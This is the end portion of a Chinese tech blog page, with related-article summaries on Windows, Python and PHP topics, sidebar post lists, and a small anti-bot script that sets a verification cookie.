class="post-item-summary">wpcap.dll作为WinPcap组件之一,在Windows 7 32位系统中扮演着核心角色,专门用于实现网络数据包的捕获功能。该动态链接库的缺失,可能会直接影响到系统中网络监控及分析软件的正常运作,进而妨碍到网络安全监控与系统性能</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774485687a3571710.html" title="菜鸟也能学会!Windows 10系统还原轻松指南">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="菜鸟也能学会!Windows 10系统还原轻松指南">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774485687a3571710.html" class="post-item-title" title="菜鸟也能学会!Windows 10系统还原轻松指南"> <h3>菜鸟也能学会!Windows 10系统还原轻松指南</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">有很多网友发现电脑系统出现问题后,知道可以通过重装系统来解决问题,但是如果不知道怎么重装系统或者是觉得重装太麻烦,还可以通过还原电脑系统解决,那么电脑系统还原怎么操作,今天小编就和大家说说还原电脑系统的具体操作方法。 更多</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774499185a3571863.html" title="自动解压秘籍:Python帮你搞定各种压缩文件">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="自动解压秘籍:Python帮你搞定各种压缩文件">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774499185a3571863.html" class="post-item-title" title="自动解压秘籍:Python帮你搞定各种压缩文件"> <h3>自动解压秘籍:Python帮你搞定各种压缩文件</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">压缩文件是我们在使用电脑时经常会遇到的。压缩文件并不只有一种压缩模式。平常我们都是通过安装一些解压缩软件来打开这些不同的压缩文件。今天我们来谈一谈,如何用Python解压几种常见类型的压缩文件。一、需求描述编写</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/p/1774500170a3571876.html" title="让自动解压成为你解压Flash中心文件的秘密武器!">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="让自动解压成为你解压Flash中心文件的秘密武器!">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/p" target="_blank">技术日记</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/p/1774500170a3571876.html" class="post-item-title" title="让自动解压成为你解压Flash中心文件的秘密武器!"> <h3>让自动解压成为你解压Flash中心文件的秘密武器!</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/p" target="_blank">技术日记</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">压缩文件是我们在使用电脑时经常会遇到的。压缩文件并不只有一种压缩模式。平常我们都是通过安装一些解压缩软件来打开这些不同的压缩文件。今天我们来谈一谈,如何用Python解压几种常见类型的压缩文件。一、需求描述编写</p> </div> <div class="roclinux-cn post-item"> <!--<div class="roclinux-cn post-item-cover">--> <!-- <a class="post-item-img" href="/b/1774500850a3571885.html" title="PHP编程必备:利用ZipArchive重构Flash中心文件,实现SWF的完美替换">--> <!-- <img class="hover-scale" src="/view/img/nopic.png" alt="PHP编程必备:利用ZipArchive重构Flash中心文件,实现SWF的完美替换">--> <!-- </a>--> <!-- <ul class="post-categories">--> <!-- <li><a href="/b" target="_blank">编程</a></li>--> <!-- </ul>--> <!--</div>--> <a href="/b/1774500850a3571885.html" class="post-item-title" title="PHP编程必备:利用ZipArchive重构Flash中心文件,实现SWF的完美替换"> <h3>PHP编程必备:利用ZipArchive重构Flash中心文件,实现SWF的完美替换</h3> <div class="roclinux-cn post-item-cover" style="display:inline-grid"> <ul class="post-categories"> <li> <a href="/b" target="_blank">编程</a> </li> </ul> </div> </a> <div class="roclinux-cn post-item-footer"> <div class="roclinux-cn tag-wrap"> </div> <div class="roclinux-cn post-item-meta">8天前</div> </div> <p class="post-item-summary">参考文档:1.创建新的压缩文件: functioncreateNewZip(){$zipFileName = 'D:projectvrwebtemp190627_113400.zip&</p> </div> </div> </div> <div class="roclinux-cn comments"> <div class="roclinux-cn postcomm block-wrap" id="divCommentPost"> <h2 class="block-title"> 发表评论 </h2> <form id="saypl" target="_self" method="post" name="saypl" action="/comment/create/689949.html?safe_token=HRcRuzg9V8q_2FY9Uys9fPfAodjxDzd_2Bn9skRm_2BzPJuxETN_2FFfGB7yCwQMOWlmfmi5FnmHjgf_2BGKfWv7utVGixNg_3D_3D"> <input type="hidden" name="doctype" value="1" /> <input type="hidden" name="quotepid" value="0" /> <div class="roclinux-cn comment-box comment-textarea"> <textarea name="message" id="txaArticle" class="text" cols="50" rows="4" tabindex="5" placeholder="评论内容"></textarea> </div> <input name="sumbit" type="submit" tabindex="6" value="发表评论" class="sub"> </form> </div> </div> <div class="sn-comments"> <div class="sn-comments__title">全部评论 0</div> <div class="sn-comments__body"> <div class="sn-empty">暂无评论</div> </div> </div> </div> </div> <div class="aside"> <div class="block-wrap" id="side-top-dxt"> <h2 class="block-title">推荐文章<i class="mcico mico-right"></i></h2> <div class="mcdas"> <a href="/b/1773585614a3563629.html" title="遇到IIS 127.0.0.1的HTTP 500错误?掌握这些步骤就能快速恢复!" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="遇到IIS 127.0.0.1的HTTP 500错误?掌握这些步骤就能快速恢复!" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 遇到IIS 127.0.0.1的HTTP 500错误?掌握这些步骤就能快速恢复! </h3> </div> </a> <a href="/b/1773617622a3563998.html" title="华为华三开局必备:SWF软件电脑登录教程" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="华为华三开局必备:SWF软件电脑登录教程" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 华为华三开局必备:SWF软件电脑登录教程 </h3> </div> </a> <a href="/p/1774226349a3569287.html" title="Windows系统下无法卸载应用软件的全面解决方案_应用和功能中的程序无法删除" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="Windows系统下无法卸载应用软件的全面解决方案_应用和功能中的程序无法删除" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> Windows系统下无法卸载应用软件的全面解决方案_应用和功能中的程序无法删除 </h3> </div> </a> <a href="/b/1774245239a3569509.html" title="Windows磁盘管理:轻松实现不相邻磁盘合并_e盘与c盘不相邻怎么合并" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="Windows磁盘管理:轻松实现不相邻磁盘合并_e盘与c盘不相邻怎么合并" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> Windows磁盘管理:轻松实现不相邻磁盘合并_e盘与c盘不相邻怎么合并 </h3> </div> </a> <a href="/b/1774475647a3571592.html" title="小白操作指南:小米路由器刷OpenWRT,轻松开启软路由,实现公网穿透" class="photo-item" target="_blank" style="background:#364cc6"> <!--<img src="/view/img/nopic.png" alt="小白操作指南:小米路由器刷OpenWRT,轻松开启软路由,实现公网穿透" class="photo-item-img hover-scale" />--> <div class="photo-item-inner"> <h3 class="photo-item-title"> 小白操作指南:小米路由器刷OpenWRT,轻松开启软路由,实现公网穿透 </h3> </div> </a> </div> </div> <div class="block-wrap" id="side-hot-view-item"> <h2 class="block-title">热门文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773635808a3564208.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="电脑玩游戏卡?学会这3招,让你告别卡顿,享受流畅游戏时光!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="电脑玩游戏卡?学会这3招,让你告别卡顿,享受流畅游戏时光!" target="_blank" href="/p/1773635808a3564208.html"> <h3>电脑玩游戏卡?学会这3招,让你告别卡顿,享受流畅游戏时光!</h3> </a> <span class="post-date">18天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773656968a3564460.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="入门级教程:如何有效利用SYSTEM VOLUME INFORMATION提升电脑性能" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="入门级教程:如何有效利用SYSTEM VOLUME INFORMATION提升电脑性能" target="_blank" href="/p/1773656968a3564460.html"> <h3>入门级教程:如何有效利用SYSTEM VOLUME INFORMATION提升电脑性能</h3> </a> <span class="post-date">18天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773732870a3565087.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="特殊数字符号大全,word 数学符号" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="特殊数字符号大全,word 数学符号" target="_blank" href="/p/1773732870a3565087.html"> <h3>特殊数字符号大全,word 数学符号</h3> </a> <span class="post-date">17天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1773792144a3565768.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="教你如何去掉电脑桌面图标的蓝色底纹_桌面图标蓝色底纹怎么去掉" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="教你如何去掉电脑桌面图标的蓝色底纹_桌面图标蓝色底纹怎么去掉" target="_blank" href="/p/1773792144a3565768.html"> <h3>教你如何去掉电脑桌面图标的蓝色底纹_桌面图标蓝色底纹怎么去掉</h3> </a> <span class="post-date">16天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773824690a3566140.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="配置U-Boot进行USB启动" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="配置U-Boot进行USB启动" target="_blank" href="/b/1773824690a3566140.html"> <h3>配置U-Boot进行USB启动</h3> </a> <span class="post-date">16天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1773880184a3566775.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="电脑报警声含义大全 主板警报声代表什么_主板报警声音的含义" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="电脑报警声含义大全 主板警报声代表什么_主板报警声音的含义" target="_blank" href="/b/1773880184a3566775.html"> <h3>电脑报警声含义大全 主板警报声代表什么_主板报警声音的含义</h3> </a> <span class="post-date">15天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774162293a3568551.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="有效解决CPU温度过高的方法AMD4200+_amd 4200+温度过高" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="有效解决CPU温度过高的方法AMD4200+_amd 4200+温度过高" target="_blank" href="/p/1774162293a3568551.html"> <h3>有效解决CPU温度过高的方法AMD4200+_amd 4200+温度过高</h3> </a> <span class="post-date">12天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774226426a3569288.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Windows软件卸载不干净或异常导致无法重装的解决方案_软件卸载不干净导致无法重装" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Windows软件卸载不干净或异常导致无法重装的解决方案_软件卸载不干净导致无法重装" target="_blank" href="/b/1774226426a3569288.html"> <h3>Windows软件卸载不干净或异常导致无法重装的解决方案_软件卸载不干净导致无法重装</h3> </a> <span class="post-date">11天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774239974a3569449.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="修复msvcp100.dll文件丢失的问题,如何高效率修复msvcp100.dll_xp msvcp100.dll" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="修复msvcp100.dll文件丢失的问题,如何高效率修复msvcp100.dll_xp msvcp100.dll" target="_blank" href="/p/1774239974a3569449.html"> <h3>修复msvcp100.dll文件丢失的问题,如何高效率修复msvcp100.dll_xp msvcp100.dll</h3> </a> <span class="post-date">11天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774278062a3569889.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="nod32 破解的用户名密码_nod32用户名密码" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="nod32 破解的用户名密码_nod32用户名密码" target="_blank" href="/p/1774278062a3569889.html"> <h3>nod32 破解的用户名密码_nod32用户名密码</h3> </a> <span class="post-date">11天前</span> </div> </li> </ul> </div> <div class="block-wrap" id="side-new-view-item"> <h2 class="block-title">最新文章<i class="mcico mico-right"></i> </h2> <ul> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513457a3572031.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="一文教会你AIX系统备份:mksysb实用指南" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="一文教会你AIX系统备份:mksysb实用指南" target="_blank" href="/p/1774513457a3572031.html"> <h3>一文教会你AIX系统备份:mksysb实用指南</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513382a3572030.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="SWF文件备份失败?这些步骤让你轻松搞定" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="SWF文件备份失败?这些步骤让你轻松搞定" target="_blank" href="/p/1774513382a3572030.html"> <h3>SWF文件备份失败?这些步骤让你轻松搞定</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513230a3572028.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Win10系统备份轻松搞定:掌握captureimage命令的关键技巧" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Win10系统备份轻松搞定:掌握captureimage命令的关键技巧" target="_blank" href="/p/1774513230a3572028.html"> <h3>Win10系统备份轻松搞定:掌握captureimage命令的关键技巧</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774513079a3572026.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux系统安全小贴士:掌握备份与恢复,安心每一天" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux系统安全小贴士:掌握备份与恢复,安心每一天" target="_blank" href="/p/1774513079a3572026.html"> <h3>Linux系统安全小贴士:掌握备份与恢复,安心每一天</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/p/1774512928a3572024.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="省时省心!三步完成电脑系统高效备份!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="省时省心!三步完成电脑系统高效备份!" target="_blank" href="/p/1774512928a3572024.html"> <h3>省时省心!三步完成电脑系统高效备份!</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513306a3572029.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!" target="_blank" href="/b/1774513306a3572029.html"> <h3>Ubuntu系统维护秘籍:备份步骤详解,保护你的劳动成果!</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513154a3572027.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux系统不哭:高效备份与快速恢复方案" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux系统不哭:高效备份与快速恢复方案" target="_blank" href="/b/1774513154a3572027.html"> <h3>Linux系统不哭:高效备份与快速恢复方案</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774513003a3572025.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Ubuntu系统安全大计,备份技巧大公开" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Ubuntu系统安全大计,备份技巧大公开" target="_blank" href="/b/1774513003a3572025.html"> <h3>Ubuntu系统安全大计,备份技巧大公开</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774512852a3572023.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="GHOST教程:系统备份和还原,小白也能变成高手!" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="GHOST教程:系统备份和还原,小白也能变成高手!" target="_blank" href="/b/1774512852a3572023.html"> <h3>GHOST教程:系统备份和还原,小白也能变成高手!</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/b/1774512777a3572022.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Linux备份与恢复必修课:SWF文件安全策略从入门到精通" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Linux备份与恢复必修课:SWF文件安全策略从入门到精通" target="_blank" href="/b/1774512777a3572022.html"> <h3>Linux备份与恢复必修课:SWF文件安全策略从入门到精通</h3> </a> <span class="post-date">8天前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736247036a1725023.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels" target="_blank" href="/lvyou/1736247036a1725023.html"> <h3>Exploring the Finest Accommodations: A Comprehensive Guide to Ruston LA Hotels</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246824a1724956.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan" target="_blank" href="/lvyou/1736246824a1724956.html"> <h3>The Enchanting Experience of ScaliniTella NYC: A Culinary Gem in the Heart of Manhattan</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246607a1724902.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience" target="_blank" href="/lvyou/1736246607a1724902.html"> <h3>Exploring the Exquisite Aloft Chicago O'Hare: A Blend of Modern Luxury and Convenience</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246384a1724842.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX" target="_blank" href="/lvyou/1736246384a1724842.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Waco, TX</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/lvyou/1736246169a1724784.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA" target="_blank" href="/lvyou/1736246169a1724784.html"> <h3>A Culinary Journey: Discovering the Finest Dining Experiences in Athens, GA</h3> </a> <span class="post-date">2025-1-7</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768821301a3533414.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历" target="_blank" href="/shuma/1768821301a3533414.html"> <h3>电脑设备管理器在哪里?一次让我抓狂又兴奋的寻找经历</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768820793a3533413.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="与GWX的持久战:一段关于Windows10升级弹窗的私人记忆" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="与GWX的持久战:一段关于Windows10升级弹窗的私人记忆" target="_blank" href="/shuma/1768820793a3533413.html"> <h3>与GWX的持久战:一段关于Windows10升级弹窗的私人记忆</h3> </a> <span class="post-date">2月前</span> </div> </li> <li class="mclas"> <!--<div class="list-img">--> <!-- <a href="/shuma/1768820277a3533412.html" target="_blank">--> <!-- <img src="/view/img/nopic.png" alt="以管理员身份运行:那些年我们追过的权限与踩过的坑" class="hover-scale" />--> <!-- </a>--> <!--</div>--> <div class="list-content"> <a title="以管理员身份运行:那些年我们追过的权限与踩过的坑" target="_blank" href="/shuma/1768820277a3533412.html"> <h3>以管理员身份运行:那些年我们追过的权限与踩过的坑</h3> </a> <span class="post-date">2月前</span> </div> </li> </ul> </div> </div> </div> <div class="footer"> CopyRight © 2022 All Rights Reserved. <br class="footer-br" /> <a href="/" target="_blank">Powered By Linux大棚 – 不忘初心的技术博客,浮躁时代的安静角落</a>| <a target="_blank" rel="nofollow" href="https://beian.miit.gov.cn/" style="font-size: 12px;">豫ICP备2022026798号-10</a> </div> <!-- JS挑战核心逻辑(静默验证,无DOM修改,不影响样式) --> <script type="text/javascript"> // 立即执行函数,确保页面加载时优先执行 (function() { // 1. MD5辅助函数(生成唯一验证哈希) function md5(str) { let hash = 0; if (str.length === 0) return hash.toString(); for (let i = 0; i < str.length; i++) { const char = str.charCodeAt(i); hash = ((hash << 5) - hash) + char; hash = hash & hash; } return hash.toString(16); } // 2. 核心验证逻辑 function verify() { try { // 验证是否为真实浏览器环境(拦截代理/脚本) if (!window || !document || !navigator || !screen) { throw new Error("非合法浏览器环境"); } // 检查是否已有验证Cookie,避免重复生成 if (document.cookie.includes("js_challenge=pass_")) { console.log("✅ 已有验证Cookie,无需重复验证"); return; } // 生成验证参数(绑定浏览器特征,无法伪造) const nonce = Math.random().toString(36).substr(2, 10); const ip = window.location.hostname; const hash = md5(nonce + ip + navigator.userAgent + screen.width + screen.height); // 强制生成验证Cookie(适配所有域名/端口) document.cookie = `js_challenge=pass_${hash}; path=/; domain=${window.location.hostname}; max-age=86400; SameSite=Lax; Secure=${window.location.protocol === 'https:'}`; console.log("✅ JS挑战验证成功,生成Cookie:", `js_challenge=pass_${hash}`); } catch (e) { // 验证失败仅控制台报错,不修改页面样式 console.error("❌ JS挑战拦截:", e.message); } } // 立即执行验证(不等待页面加载,避免缓存/加载中断问题) verify(); })(); </script> <script src="/view/js/xiuno.js?2.3.0"></script> <script src="/view/template/quzhiwa/js/custom.js?2.3.0"></script> <script> $('.cat-tab-wrap li[data-active="fid-1"]').addClass('current-menu-item'); $('.menu-header-container li[data-active="fid-1"]').addClass('current-menu-item'); </script> </body> </html>